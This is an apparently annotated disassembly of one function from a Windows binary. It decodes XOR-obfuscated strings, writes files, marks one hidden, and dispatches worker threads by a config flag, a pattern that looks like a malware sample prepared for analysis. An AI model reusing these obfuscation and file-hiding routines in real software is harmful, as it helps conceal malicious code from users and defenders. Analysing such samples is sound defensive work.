Function at 0x1001b830
Capabilities:
Create thread
Encode data using xor
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002a6eb
mov eax, dword fs:[0]
push eax
sub esp, 0x19c
mov eax, dword [0x10041bd0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [0x10041fa0]
lea ecx, [ebp - 0x34]
push ecx
push 0
push eax
mov dword [ebp - 0x40], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
jne 0x1001bc55
cmp dword [0x1004206c], 1
mov edi, dword [sym.imp.ucrtbased.dll_malloc]
jne 0x1001b9af
mov dword [ebp - 0x38], 0x10033a70
mov ebx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x38]
add esi, 0x14
cmp byte [ebx + 0x13], al
je 0x1001b8e5
mov eax, dword [ebx + 0xf]
inc eax
push eax
call edi
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x38], eax
test eax, eax
je 0x1001b8d9
sub esi, edi
nop dword [eax]
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x38]
cmp edx, eax
jb 0x1001b8c0
mov byte [eax + edi], 0
mov esi, edi
mov edi, dword [sym.imp.ucrtbased.dll_malloc]
push 1
push 0x40
push 8
push esi
lea ecx, [ebp - 0x1a8]
call fcn.10004a20
mov dword [ebp - 0x38], 0x10033a98
mov ebx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x38]
add esi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x1001b94f
mov eax, dword [ebx + 0xf]
inc eax
push eax
call edi
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x38], eax
test eax, eax
je 0x1001b949
sub esi, edi
nop
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x38]
cmp edx, eax
jb 0x1001b930
mov byte [eax + edi], 0
mov esi, edi
lea eax, [ebp - 0x1a8]
push esi
push eax
call fcn.100045b0
push dword [ebp - 0x40]
lea eax, [ebp - 0x1a8]
push eax
call fcn.100045b0
add esp, 0x10
lea ecx, [ebp - 0x1a4]
call fcn.10005500
test eax, eax
jne 0x1001b997
push eax
mov eax, dword [ebp - 0x1a8]
lea ecx, [ebp - 0x1a8]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 4], 0xffffffff
call fcn.10005010
mov edi, dword [sym.imp.ucrtbased.dll_malloc]
cmp dword [0x1004207c], 1
jne 0x1001bb82
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.ucrtbased.dll__time64]
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.ucrtbased.dll__localtime64]
add esp, 8
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0xf8]
push 1
push 0x40
push 8
push 0x10033acc
call fcn.10004a20
mov dword [ebp - 0x38], 0x10033ad0
mov ebx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x38]
add esi, 0x14
mov dword [ebp - 4], 1
cmp byte [ebx + 0x13], 0
je 0x1001ba42
mov eax, dword [ebx + 0xf]
inc eax
push eax
call edi
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x38], eax
test eax, eax
je 0x1001ba3c
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x38]
cmp edx, eax
jb 0x1001ba23
mov byte [eax + edi], 0
mov esi, edi
lea eax, [ebp - 0xf8]
push esi
push eax
call fcn.100045b0
push dword [ebp - 0x3c]
call dword [sym.imp.ucrtbased.dll_asctime]
push eax
lea eax, [ebp - 0xf8]
push eax
call fcn.100045b0
mov dword [ebp - 0x38], 0x10033af4
add esp, 0x14
mov ebx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x38]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x1001babf
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x1001bab9
sub esi, edi
nop dword [eax]
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x3c]
cmp edx, eax
jb 0x1001baa0
mov byte [eax + edi], 0
mov esi, edi
lea eax, [ebp - 0xf8]
push esi
push eax
call fcn.100045b0
push dword [ebp - 0x40]
lea eax, [ebp - 0xf8]
push eax
call fcn.100045b0
mov dword [ebp - 0x38], str.gum
add esp, 0x10
mov ebx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x38]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x1001bb31
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x1001bb2b
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x3c]
cmp edx, eax
jb 0x1001bb12
mov byte [eax + edi], 0
mov esi, edi
lea eax, [ebp - 0xf8]
push esi
push eax
call fcn.100045b0
add esp, 8
lea ecx, [ebp - 0xf4]
call fcn.10005500
test eax, eax
jne 0x1001bb6a
push eax
mov eax, dword [ebp - 0xf8]
lea ecx, [ebp - 0xf8]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP140D.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push 2
push 0x10033b64
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0xf8]
call fcn.10005010
mov eax, dword [0x10042070]
push 0
cmp eax, 1
jne 0x1001bbb4
push 0
push 0
push 0x1001b570
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x1001bbc4
push 0
push 0
push 0x1001b650
jmp 0x1001bb97
cmp eax, 3
jne 0x1001bbd4
push 0
push 0
push 0x1001b730
jmp 0x1001bb97
cmp eax, 4
jne 0x1001bbae
push 0
push 0
push 0x10027880
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x38], 0x10033b68
mov ebx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x38]
add esi, 0x14
cmp byte [ebx + 0x13], 0
je 0x1001bc3f
mov eax, dword [ebx + 0xf]
inc eax
push eax
call dword [sym.imp.ucrtbased.dll_malloc]
mov edi, eax
add esp, 4
mov eax, dword [ebx + 0xf]
xor edx, edx
mov dword [ebp - 0x3c], eax
test eax, eax
je 0x1001bc39
sub esi, edi
mov eax, edx
lea ecx, [edx + edi]
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [esi + ecx]
mov byte [ecx], al
mov eax, dword [ebp - 0x3c]
cmp edx, eax
jb 0x1001bc20
mov byte [eax + edi], 0
mov esi, edi
push 0x200010
push esi
push dword [ebp - 0x40]
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x1001bbac
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100282d0
mov esp, ebp
pop ebp
ret